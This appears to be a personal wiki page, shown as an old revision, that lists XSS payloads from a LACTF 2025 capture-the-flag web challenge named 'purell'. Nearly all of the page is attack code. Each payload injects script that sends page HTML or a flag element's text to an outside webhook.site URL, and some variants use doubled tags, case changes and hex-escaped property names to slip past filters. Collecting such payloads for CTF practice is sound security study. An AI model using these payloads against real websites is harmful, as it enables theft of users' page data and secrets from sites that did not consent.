osorin's abyss

You've loaded an old revision of the document! If you save it, you will create a new version with this data.

====== HTTP Pipelining + HTTP/2 Single Packets ======

Some payloads from **LACTF** 2025: [WEB] purell

https://github.com/uclaacm/lactf-archive/blob/main/2025/web/purell/payloads.txt

<code html>
<script>
 fetch('https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q='+encodeURIComponent(document.body.innerHTML))
</script>

<SCRIPT>
 fetch('https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q='+encodeURI(document.body.innerHTML))
</SCRIPT>

<scriscriptpt>
  fetch(
 		'https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q=' +
		document['query\x53elector']('.flag')['text\x43\x6fntent']
  )
</scriscriptpt>

<img src=/foo oonnerror="fetch('https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q=' + document['query\x53elector']('.flag')['text\x43\x6fntent'])"//

<img/src="/foo"/oonnerror="fetch('https://webhook.site/e7abaf6f-b844-49f9-8419-1c0531457027?q=' + document['query\x53elector']('.flag')['text\x43\x6fntent'])"//

Edit summary

Note: By editing this page you agree to license your content under the following license: CC Attribution-Share Alike 4.0 International